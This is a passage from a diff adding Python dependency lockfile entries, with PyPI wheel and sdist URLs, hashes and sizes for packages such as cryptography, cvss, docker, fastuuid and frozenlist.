+ { url = "https://files.pythonhosted.org/packages/67/d0/a5fcd3515f0bae49a7b6d0413cc1bdccdcc1fc0047037a0d480642cdc5d6/cryptography-49.0.0-cp39-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:6fc361c34fb6aac015ce19435876635e5c6d21db31998b0920f675f131e043b8", size = 5254338, upload-time = "2026-06-12T20:02:22.737Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/84/84fe36f19caf857d61cb7fc9c63035a47ffabd84ea12d1d393148efa3615/cryptography-49.0.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:2400ef9c9e2299a25614eb1dea3db54a69b1349efd043bfac9c67630d136df36", size = 4735650, upload-time = "2026-06-12T20:02:41.389Z" },
+ { url = "https://files.pythonhosted.org/packages/6c/a0/db537264e234f7273a73ec020873d6d6b39dfd8a53db78b550ca8320440e/cryptography-49.0.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:67e1d20ad9ef3a563c59ef22e7a8a0b8210bd26604369ea4a30a7c66aefe504e", size = 4834820, upload-time = "2026-06-12T20:01:51.847Z" },
+ { url = "https://files.pythonhosted.org/packages/93/77/8df9eb486495979bccecd1062e2eaf435250e84437040295b57d09048b0b/cryptography-49.0.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:42b0684e0e40cf26122427802486f6d93aea593612603a94fbf260c7eb1e9c1b", size = 4967968, upload-time = "2026-06-12T20:02:12.524Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/e6/f60198ea8d9dfa15fff9ed4ca02ce362f6eadd9ba757dcc50634c4257b63/cryptography-49.0.0-cp39-abi3-win_amd64.whl", hash = "sha256:026ac7423e6fa66872d3bf889be5974507da3944f866f704fa200eadacd00001", size = 3785547, upload-time = "2026-06-12T20:02:26.847Z" },
+]
+
+[[package]]
+name = "cvss"
+version = "3.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a5/f6/1f7d315de23f39bbc32b94bb6b33a1b6124856037bfaa3f8bdb1a49584fa/cvss-3.6.tar.gz", hash = "sha256:f21d18224efcd3c01b44ff1b37dec2e3208d29a6d0ce6c87a599c73c21ee1a99", size = 30047, upload-time = "2025-08-04T10:50:13.753Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/63/6d/fe2c65b94a28ae0481dc254e8cd664b82390069003bea945076d8a445f2b/cvss-3.6-py2.py3-none-any.whl", hash = "sha256:e342c6ad9c7eb69d2aebbbc2768a03cabd57eb947c806e145de5b936219833ea", size = 31154, upload-time = "2025-08-04T10:50:12.328Z" },
+]
+
+[[package]]
+name = "distlib"
+version = "0.4.3"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/c9/02/bd72be9134d25ed783ecbbc38a539ffaefbf90c78418c7fb7229600dbac7/distlib-0.4.3.tar.gz", hash = "sha256:f152097224a0ae24be5a0f6bae1b9359af82133bce63f98a95f86cae1aede9ed", size = 615141, upload-time = "2026-06-12T08:04:52.847Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/02/08/9c41fb51ab5b43eb21674aff13df270e8ba6c4b29c8624e328dc7a9482af/distlib-0.4.3-py2.py3-none-any.whl", hash = "sha256:4b0ce306c966eb73bc3a7b6abad017c556dadd92c44701562cd528ac7fde4d5b", size = 470628, upload-time = "2026-06-12T08:04:50.506Z" },
+]
+
+[[package]]
+name = "distro"
+version = "1.9.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/fc/f8/98eea607f65de6527f8a2e8885fc8015d3e6f5775df186e443e0964a11c3/distro-1.9.0.tar.gz", hash = "sha256:2fa77c6fd8940f116ee1d6b94a2f90b13b5ea8d019b98bc8bafdcabcdd9bdbed", size = 60722, upload-time = "2023-12-24T09:54:32.31Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/12/b3/231ffd4ab1fc9d679809f356cebee130ac7daa00d6d6f3206dd4fd137e9e/distro-1.9.0-py3-none-any.whl", hash = "sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2", size = 20277, upload-time = "2023-12-24T09:54:30.421Z" },
+]
+
+[[package]]
+name = "docker"
+version = "7.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "pywin32", marker = "sys_platform == 'win32'" },
+ { name = "requests" },
+ { name = "urllib3" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/91/9b/4a2ea29aeba62471211598dac5d96825bb49348fa07e906ea930394a83ce/docker-7.1.0.tar.gz", hash = "sha256:ad8c70e6e3f8926cb8a92619b832b4ea5299e2831c14284663184e200546fa6c", size = 117834, upload-time = "2024-05-23T11:13:57.216Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/e3/26/57c6fb270950d476074c087527a558ccb6f4436657314bfb6cdf484114c4/docker-7.1.0-py3-none-any.whl", hash = "sha256:c96b93b7f0a746f9e77d325bcfb87422a3d8bd4f03136ae8a85b37f1898d5fc0", size = 147774, upload-time = "2024-05-23T11:13:55.01Z" },
+]
+
+[[package]]
+name = "fastuuid"
+version = "0.14.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/c3/7d/d9daedf0f2ebcacd20d599928f8913e9d2aea1d56d2d355a93bfa2b611d7/fastuuid-0.14.0.tar.gz", hash = "sha256:178947fc2f995b38497a74172adee64fdeb8b7ec18f2a5934d037641ba265d26", size = 18232, upload-time = "2025-10-19T22:19:22.402Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/02/a2/e78fcc5df65467f0d207661b7ef86c5b7ac62eea337c0c0fcedbeee6fb13/fastuuid-0.14.0-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:77e94728324b63660ebf8adb27055e92d2e4611645bf12ed9d88d30486471d0a", size = 510164, upload-time = "2025-10-19T22:31:45.635Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/b3/c846f933f22f581f558ee63f81f29fa924acd971ce903dab1a9b6701816e/fastuuid-0.14.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:caa1f14d2102cb8d353096bc6ef6c13b2c81f347e6ab9d6fbd48b9dea41c153d", size = 261837, upload-time = "2025-10-19T22:38:38.53Z" },
+ { url = "https://files.pythonhosted.org/packages/54/ea/682551030f8c4fa9a769d9825570ad28c0c71e30cf34020b85c1f7ee7382/fastuuid-0.14.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d23ef06f9e67163be38cece704170486715b177f6baae338110983f99a72c070", size = 251370, upload-time = "2025-10-19T22:40:26.07Z" },
+ { url = "https://files.pythonhosted.org/packages/14/dd/5927f0a523d8e6a76b70968e6004966ee7df30322f5fc9b6cdfb0276646a/fastuuid-0.14.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0c9ec605ace243b6dbe3bd27ebdd5d33b00d8d1d3f580b39fdd15cd96fd71796", size = 277766, upload-time = "2025-10-19T22:37:23.779Z" },
+ { url = "https://files.pythonhosted.org/packages/16/6e/c0fb547eef61293153348f12e0f75a06abb322664b34a1573a7760501336/fastuuid-0.14.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:808527f2407f58a76c916d6aa15d58692a4a019fdf8d4c32ac7ff303b7d7af09", size = 278105, upload-time = "2025-10-19T22:26:56.821Z" },
+ { url = "https://files.pythonhosted.org/packages/2d/b1/b9c75e03b768f61cf2e84ee193dc18601aeaf89a4684b20f2f0e9f52b62c/fastuuid-0.14.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2fb3c0d7fef6674bbeacdd6dbd386924a7b60b26de849266d1ff6602937675c8", size = 301564, upload-time = "2025-10-19T22:30:31.604Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/fa/f7395fdac07c7a54f18f801744573707321ca0cee082e638e36452355a9d/fastuuid-0.14.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:ab3f5d36e4393e628a4df337c2c039069344db5f4b9d2a3c9cea48284f1dd741", size = 459659, upload-time = "2025-10-19T22:31:32.341Z" },
+ { url = "https://files.pythonhosted.org/packages/66/49/c9fd06a4a0b1f0f048aacb6599e7d96e5d6bc6fa680ed0d46bf111929d1b/fastuuid-0.14.0-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:b9a0ca4f03b7e0b01425281ffd44e99d360e15c895f1907ca105854ed85e2057", size = 478430, upload-time = "2025-10-19T22:26:22.962Z" },
+ { url = "https://files.pythonhosted.org/packages/be/9c/909e8c95b494e8e140e8be6165d5fc3f61fdc46198c1554df7b3e1764471/fastuuid-0.14.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:3acdf655684cc09e60fb7e4cf524e8f42ea760031945aa8086c7eae2eeeabeb8", size = 450894, upload-time = "2025-10-19T22:27:01.647Z" },
+ { url = "https://files.pythonhosted.org/packages/90/eb/d29d17521976e673c55ef7f210d4cdd72091a9ec6755d0fd4710d9b3c871/fastuuid-0.14.0-cp312-cp312-win32.whl", hash = "sha256:9579618be6280700ae36ac42c3efd157049fe4dd40ca49b021280481c78c3176", size = 154374, upload-time = "2025-10-19T22:29:19.879Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/fc/f5c799a6ea6d877faec0472d0b27c079b47c86b1cdc577720a5386483b36/fastuuid-0.14.0-cp312-cp312-win_amd64.whl", hash = "sha256:d9e4332dc4ba054434a9594cbfaf7823b57993d7d8e7267831c3e059857cf397", size = 156550, upload-time = "2025-10-19T22:27:49.658Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/83/ae12dd39b9a39b55d7f90abb8971f1a5f3c321fd72d5aa83f90dc67fe9ed/fastuuid-0.14.0-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:77a09cb7427e7af74c594e409f7731a0cf887221de2f698e1ca0ebf0f3139021", size = 510720, upload-time = "2025-10-19T22:42:34.633Z" },
+ { url = "https://files.pythonhosted.org/packages/53/b0/a4b03ff5d00f563cc7546b933c28cb3f2a07344b2aec5834e874f7d44143/fastuuid-0.14.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:9bd57289daf7b153bfa3e8013446aa144ce5e8c825e9e366d455155ede5ea2dc", size = 262024, upload-time = "2025-10-19T22:30:25.482Z" },
+ { url = "https://files.pythonhosted.org/packages/9c/6d/64aee0a0f6a58eeabadd582e55d0d7d70258ffdd01d093b30c53d668303b/fastuuid-0.14.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:ac60fc860cdf3c3f327374db87ab8e064c86566ca8c49d2e30df15eda1b0c2d5", size = 251679, upload-time = "2025-10-19T22:36:14.096Z" },
+ { url = "https://files.pythonhosted.org/packages/60/f5/a7e9cda8369e4f7919d36552db9b2ae21db7915083bc6336f1b0082c8b2e/fastuuid-0.14.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ab32f74bd56565b186f036e33129da77db8be09178cd2f5206a5d4035fb2a23f", size = 277862, upload-time = "2025-10-19T22:36:23.302Z" },
+ { url = "https://files.pythonhosted.org/packages/f0/d3/8ce11827c783affffd5bd4d6378b28eb6cc6d2ddf41474006b8d62e7448e/fastuuid-0.14.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:33e678459cf4addaedd9936bbb038e35b3f6b2061330fd8f2f6a1d80414c0f87", size = 278278, upload-time = "2025-10-19T22:29:43.809Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/51/680fb6352d0bbade04036da46264a8001f74b7484e2fd1f4da9e3db1c666/fastuuid-0.14.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1e3cc56742f76cd25ecb98e4b82a25f978ccffba02e4bdce8aba857b6d85d87b", size = 301788, upload-time = "2025-10-19T22:36:06.825Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/7c/2014b5785bd8ebdab04ec857635ebd84d5ee4950186a577db9eff0fb8ff6/fastuuid-0.14.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:cb9a030f609194b679e1660f7e32733b7a0f332d519c5d5a6a0a580991290022", size = 459819, upload-time = "2025-10-19T22:35:31.623Z" },
+ { url = "https://files.pythonhosted.org/packages/01/d2/524d4ceeba9160e7a9bc2ea3e8f4ccf1ad78f3bde34090ca0c51f09a5e91/fastuuid-0.14.0-cp313-cp313-musllinux_1_1_i686.whl", hash = "sha256:09098762aad4f8da3a888eb9ae01c84430c907a297b97166b8abc07b640f2995", size = 478546, upload-time = "2025-10-19T22:26:03.023Z" },
+ { url = "https://files.pythonhosted.org/packages/bc/17/354d04951ce114bf4afc78e27a18cfbd6ee319ab1829c2d5fb5e94063ac6/fastuuid-0.14.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:1383fff584fa249b16329a059c68ad45d030d5a4b70fb7c73a08d98fd53bcdab", size = 450921, upload-time = "2025-10-19T22:31:02.151Z" },
+ { url = "https://files.pythonhosted.org/packages/fb/be/d7be8670151d16d88f15bb121c5b66cdb5ea6a0c2a362d0dcf30276ade53/fastuuid-0.14.0-cp313-cp313-win32.whl", hash = "sha256:a0809f8cc5731c066c909047f9a314d5f536c871a7a22e815cc4967c110ac9ad", size = 154559, upload-time = "2025-10-19T22:36:36.011Z" },
+ { url = "https://files.pythonhosted.org/packages/22/1d/5573ef3624ceb7abf4a46073d3554e37191c868abc3aecd5289a72f9810a/fastuuid-0.14.0-cp313-cp313-win_amd64.whl", hash = "sha256:0df14e92e7ad3276327631c9e7cec09e32572ce82089c55cb1bb8df71cf394ed", size = 156539, upload-time = "2025-10-19T22:33:35.898Z" },
+ { url = "https://files.pythonhosted.org/packages/16/c9/8c7660d1fe3862e3f8acabd9be7fc9ad71eb270f1c65cce9a2b7a31329ab/fastuuid-0.14.0-cp314-cp314-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:b852a870a61cfc26c884af205d502881a2e59cc07076b60ab4a951cc0c94d1ad", size = 510600, upload-time = "2025-10-19T22:43:44.17Z" },
+ { url = "https://files.pythonhosted.org/packages/4c/f4/a989c82f9a90d0ad995aa957b3e572ebef163c5299823b4027986f133dfb/fastuuid-0.14.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:c7502d6f54cd08024c3ea9b3514e2d6f190feb2f46e6dbcd3747882264bb5f7b", size = 262069, upload-time = "2025-10-19T22:43:38.38Z" },
+ { url = "https://files.pythonhosted.org/packages/da/6c/a1a24f73574ac995482b1326cf7ab41301af0fabaa3e37eeb6b3df00e6e2/fastuuid-0.14.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1ca61b592120cf314cfd66e662a5b54a578c5a15b26305e1b8b618a6f22df714", size = 251543, upload-time = "2025-10-19T22:32:22.537Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/20/2a9b59185ba7a6c7b37808431477c2d739fcbdabbf63e00243e37bd6bf49/fastuuid-0.14.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa75b6657ec129d0abded3bec745e6f7ab642e6dba3a5272a68247e85f5f316f", size = 277798, upload-time = "2025-10-19T22:33:53.821Z" },
+ { url = "https://files.pythonhosted.org/packages/ef/33/4105ca574f6ded0af6a797d39add041bcfb468a1255fbbe82fcb6f592da2/fastuuid-0.14.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a8a0dfea3972200f72d4c7df02c8ac70bad1bb4c58d7e0ec1e6f341679073a7f", size = 278283, upload-time = "2025-10-19T22:29:02.812Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/8c/fca59f8e21c4deb013f574eae05723737ddb1d2937ce87cb2a5d20992dc3/fastuuid-0.14.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1bf539a7a95f35b419f9ad105d5a8a35036df35fdafae48fb2fd2e5f318f0d75", size = 301627, upload-time = "2025-10-19T22:35:54.985Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/e2/f78c271b909c034d429218f2798ca4e89eeda7983f4257d7865976ddbb6c/fastuuid-0.14.0-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:9a133bf9cc78fdbd1179cb58a59ad0100aa32d8675508150f3658814aeefeaa4", size = 459778, upload-time = "2025-10-19T22:28:00.999Z" },
+ { url = "https://files.pythonhosted.org/packages/1e/f0/5ff209d865897667a2ff3e7a572267a9ced8f7313919f6d6043aed8b1caa/fastuuid-0.14.0-cp314-cp314-musllinux_1_1_i686.whl", hash = "sha256:f54d5b36c56a2d5e1a31e73b950b28a0d83eb0c37b91d10408875a5a29494bad", size = 478605, upload-time = "2025-10-19T22:36:21.764Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/c8/2ce1c78f983a2c4987ea865d9516dbdfb141a120fd3abb977ae6f02ba7ca/fastuuid-0.14.0-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:ec27778c6ca3393ef662e2762dba8af13f4ec1aaa32d08d77f71f2a70ae9feb8", size = 450837, upload-time = "2025-10-19T22:34:37.178Z" },
+ { url = "https://files.pythonhosted.org/packages/df/60/dad662ec9a33b4a5fe44f60699258da64172c39bd041da2994422cdc40fe/fastuuid-0.14.0-cp314-cp314-win32.whl", hash = "sha256:e23fc6a83f112de4be0cc1990e5b127c27663ae43f866353166f87df58e73d06", size = 154532, upload-time = "2025-10-19T22:35:18.217Z" },
+ { url = "https://files.pythonhosted.org/packages/1f/f6/da4db31001e854025ffd26bc9ba0740a9cbba2c3259695f7c5834908b336/fastuuid-0.14.0-cp314-cp314-win_amd64.whl", hash = "sha256:df61342889d0f5e7a32f7284e55ef95103f2110fee433c2ae7c2c0956d76ac8a", size = 156457, upload-time = "2025-10-19T22:33:44.579Z" },
+]
+
+[[package]]
+name = "filelock"
+version = "3.29.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e6/dc/be6cbe99670cd6e4ad387123647cb08e0c32975e223f82551e914c5568a6/filelock-3.29.4.tar.gz", hash = "sha256:10cdb3656fc44541cdf30652a93fb10ec6b05325620eb316bd26893e4201538a", size = 63028, upload-time = "2026-06-13T16:12:00.744Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/13/37/a065dc3bd6e49423a6532c642ca7378d3f467b1ef44c2800c937af7f9739/filelock-3.29.4-py3-none-any.whl", hash = "sha256:dac1648087d5115554850d113e7dd8c83ab2d38e3435dde2d4f163847e57b767", size = 42757, upload-time = "2026-06-13T16:11:59.582Z" },
+]
+
+[[package]]
+name = "frozenlist"
+version = "1.8.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/2d/f5/c831fac6cc817d26fd54c7eaccd04ef7e0288806943f7cc5bbf69f3ac1f0/frozenlist-1.8.0.tar.gz", hash = "sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad", size = 45875, upload-time = "2025-10-06T05:38:17.865Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/69/29/948b9aa87e75820a38650af445d2ef2b6b8a6fab1a23b6bb9e4ef0be2d59/frozenlist-1.8.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:78f7b9e5d6f2fdb88cdde9440dc147259b62b9d3b019924def9f6478be254ac1", size = 87782, upload-time = "2025-10-06T05:36:06.649Z" },
+ { url = "https://files.pythonhosted.org/packages/64/80/4f6e318ee2a7c0750ed724fa33a4bdf1eacdc5a39a7a24e818a773cd91af/frozenlist-1.8.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:229bf37d2e4acdaf808fd3f06e854a4a7a3661e871b10dc1f8f1896a3b05f18b", size = 50594, upload-time = "2025-10-06T05:36:07.69Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/94/5c8a2b50a496b11dd519f4a24cb5496cf125681dd99e94c604ccdea9419a/frozenlist-1.8.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4", size = 50448, upload-time = "2025-10-06T05:36:08.78Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/bd/d91c5e39f490a49df14320f4e8c80161cfcce09f1e2cde1edd16a551abb3/frozenlist-1.8.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383", size = 242411, upload-time = "2025-10-06T05:36:09.801Z" },
+ { url = "https://files.pythonhosted.org/packages/8f/83/f61505a05109ef3293dfb1ff594d13d64a2324ac3482be2cedc2be818256/frozenlist-1.8.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96f423a119f4777a4a056b66ce11527366a8bb92f54e541ade21f2374433f6d4", size = 243014, upload-time = "2025-10-06T05:36:11.394Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/cb/cb6c7b0f7d4023ddda30cf56b8b17494eb3a79e3fda666bf735f63118b35/frozenlist-1.8.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3462dd9475af2025c31cc61be6652dfa25cbfb56cbbf52f4ccfe029f38decaf8", size = 234909, upload-time = "2025-10-06T05:36:12.598Z" },
+ { url = "https://files.pythonhosted.org/packages/31/c5/cd7a1f3b8b34af009fb17d4123c5a778b44ae2804e3ad6b86204255f9ec5/frozenlist-1.8.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c4c800524c9cd9bac5166cd6f55285957fcfc907db323e193f2afcd4d9abd69b", size = 250049, upload-time = "2025-10-06T05:36:14.065Z" },
+ { url = "https://files.pythonhosted.org/packages/c0/01/2f95d3b416c584a1e7f0e1d6d31998c4a795f7544069ee2e0962a4b60740/frozenlist-1.8.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52", size = 256485, upload-time = "2025-10-06T05:36:15.39Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/03/024bf7720b3abaebcff6d0793d73c154237b85bdf67b7ed55e5e9596dc9a/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:405e8fe955c2280ce66428b3ca55e12b3c4e9c336fb2103a4937e891c69a4a29", size = 237619, upload-time = "2025-10-06T05:36:16.558Z" },
+ { url = "https://files.pythonhosted.org/packages/69/fa/f8abdfe7d76b731f5d8bd217827cf6764d4f1d9763407e42717b4bed50a0/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:908bd3f6439f2fef9e85031b59fd4f1297af54415fb60e4254a95f75b3cab3f3", size = 250320, upload-time = "2025-10-06T05:36:17.821Z" },
+ { url = "https://files.pythonhosted.org/packages/f5/3c/b051329f718b463b22613e269ad72138cc256c540f78a6de89452803a47d/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:294e487f9ec720bd8ffcebc99d575f7eff3568a08a253d1ee1a0378754b74143", size = 246820, upload-time = "2025-10-06T05:36:19.046Z" },
+ { url = "https://files.pythonhosted.org/packages/0f/ae/58282e8f98e444b3f4dd42448ff36fa38bef29e40d40f330b22e7108f565/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:74c51543498289c0c43656701be6b077f4b265868fa7f8a8859c197006efb608", size = 250518, upload-time = "2025-10-06T05:36:20.763Z" },
+ { url = "https://files.pythonhosted.org/packages/8f/96/007e5944694d66123183845a106547a15944fbbb7154788cbf7272789536/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa", size = 239096, upload-time = "2025-10-06T05:36:22.129Z" },
+ { url = "https://files.pythonhosted.org/packages/66/bb/852b9d6db2fa40be96f29c0d1205c306288f0684df8fd26ca1951d461a56/frozenlist-1.8.0-cp312-cp312-win32.whl", hash = "sha256:433403ae80709741ce34038da08511d4a77062aa924baf411ef73d1146e74faf", size = 39985, upload-time = "2025-10-06T05:36:23.661Z" },
+ { url = "https://files.pythonhosted.org/packages/b8/af/38e51a553dd66eb064cdf193841f16f077585d4d28394c2fa6235cb41765/frozenlist-1.8.0-cp312-cp312-win_amd64.whl", hash = "sha256:34187385b08f866104f0c0617404c8eb08165ab1272e884abc89c112e9c00746", size = 44591, upload-time = "2025-10-06T05:36:24.958Z" },
+ { url = "https://files.pythonhosted.org/packages/a7/06/1dc65480ab147339fecc70797e9c2f69d9cea9cf38934ce08df070fdb9cb/frozenlist-1.8.0-cp312-cp312-win_arm64.whl", hash = "sha256:fe3c58d2f5db5fbd18c2987cba06d51b0529f52bc3a6cdc33d3f4eab725104bd", size = 40102, upload-time = "2025-10-06T05:36:26.333Z" },
+ { url = "https://files.pythonhosted.org/packages/2d/40/0832c31a37d60f60ed79e9dfb5a92e1e2af4f40a16a29abcc7992af9edff/frozenlist-1.8.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73dde655e1e42282a", size = 85717, upload-time = "2025-10-06T05:36:27.341Z" },
+ { url = "https://files.pythonhosted.org/packages/30/ba/b0b3de23f40bc55a7057bd38434e25c34fa48e17f20ee273bbde5e0650f3/frozenlist-1.8.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:96153e77a591c8adc2ee805756c61f59fef4cf4073a9275ee86fe8cba41241f7", size = 49651, upload-time = "2025-10-06T05:36:28.855Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/ab/6e5080ee374f875296c4243c381bbdef97a9ac39c6e3ce1d5f7d42cb78d6/frozenlist-1.8.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6fcd91e40", size = 49417, upload-time = "2025-10-06T05:36:29.877Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/4e/e4691508f9477ce67da2015d8c00acd751e6287739123113a9fca6f1604e/frozenlist-1.8.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027", size = 234391, upload-time = "2025-10-06T05:36:31.301Z" },
+ { url = "https://files.pythonhosted.org/packages/40/76/c202df58e3acdf12969a7895fd6f3bc016c642e6726aa63bd3025e0fc71c/frozenlist-1.8.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eaa352d7047a31d87dafcacbabe89df0aa506abb5b1b85a2fb91bc3faa02d822", size = 233048, upload-time = "2025-10-06T05:36:32.531Z" },
+ { url = "https://files.pythonhosted.org/packages/f9/c0/8746afb90f17b73ca5979c7a3958116e105ff796e718575175319b5bb4ce/frozenlist-1.8.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:03ae967b4e297f58f8c774c7eabcce57fe3c2434817d4385c50661845a058121", size = 226549, upload-time = "2025-10-06T05:36:33.706Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/eb/4c7eefc718ff72f9b6c4893291abaae5fbc0c82226a32dcd8ef4f7a5dbef/frozenlist-1.8.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f6292f1de555ffcc675941d65fffffb0a5bcd992905015f85d0592201793e0e5", size = 239833, upload-time = "2025-10-06T05:36:34.947Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/4e/e5c02187cf704224f8b21bee886f3d713ca379535f16893233b9d672ea71/frozenlist-1.8.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:29548f9b5b5e3460ce7378144c3010363d8035cea44bc0bf02d57f5a685e084e", size = 245363, upload-time = "2025-10-06T05:36:36.534Z" },
+ { url = "https://files.pythonhosted.org/packages/1f/96/cb85ec608464472e82ad37a17f844889c36100eed57bea094518bf270692/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76f5d7b38a4f11", size = 229314, upload-time = "2025-10-06T05:36:38.582Z" },
+ { url = "https://files.pythonhosted.org/packages/5d/6f/4ae69c550e4cee66b57887daeebe006fe985917c01d0fff9caab9883f6d0/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae50b10adf20c1", size = 243365, upload-time = "2025-10-06T05:36:40.152Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/58/afd56de246cf11780a40a2c28dc7cbabbf06337cc8ddb1c780a2d97e88d8/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef16d5925230b1", size = 237763, upload-time = "2025-10-06T05:36:41.355Z" },
